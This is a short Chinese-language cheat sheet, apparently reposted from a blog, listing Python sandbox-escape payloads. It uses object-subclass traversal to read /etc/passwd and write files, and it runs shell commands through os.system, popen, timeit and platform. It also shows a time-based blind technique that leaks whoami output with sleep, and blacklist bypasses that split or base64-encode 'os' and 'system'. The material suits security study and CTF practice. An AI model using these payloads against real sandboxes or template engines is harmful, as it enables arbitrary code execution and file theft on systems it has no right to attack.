原地址 http://foreversong.cn/archives/1201
读文件
1 2
| ().__class__.__bases__[0].__subclasses__()[40]("/etc/passwd").read()
|
写文件
1 2
| ().__class__.__bases__[0].__subclasses__()[40]("123.txt",'w').write('asdfqwer')
|
命令执行
warnings.catch_warnings
1 2
| ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls").read()')
|
1 2
| ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].os.system('ls')
|
timeit
1 2
| import timeit timeit.timeit("__import__('os').system('ls'),number=1")
|
timeit库用来计时,计算函数的完成时间,后面的number表示函数运行的次数
这个就和盲注差不多了,代码执行但是无回显,可以利用相似的payload,比如
1 2 3 4 5
| timeit.timeit("__import__('os').system('if [ $(whoamicut -c 1) = y ];then sleep 2;fi;')", number = 1) 2.016458034515381
timeit.timeit("__import__('os').system('if [ $(whoamicut -c 1) = q ];then sleep 2;fi;')", number = 1) 0.009487152099609375
|
1 2
| import platform platform.popen('ls').read()
|
或者
1 2
| import platform platform.popen('id',mode='r',bufsize=1).read()
|
基于黑名单
1 2
| ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
|
1 2
| ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['b3M='.decode('base64')].__dict__['c3lzdGVt'.decode('base64')]('ls')
|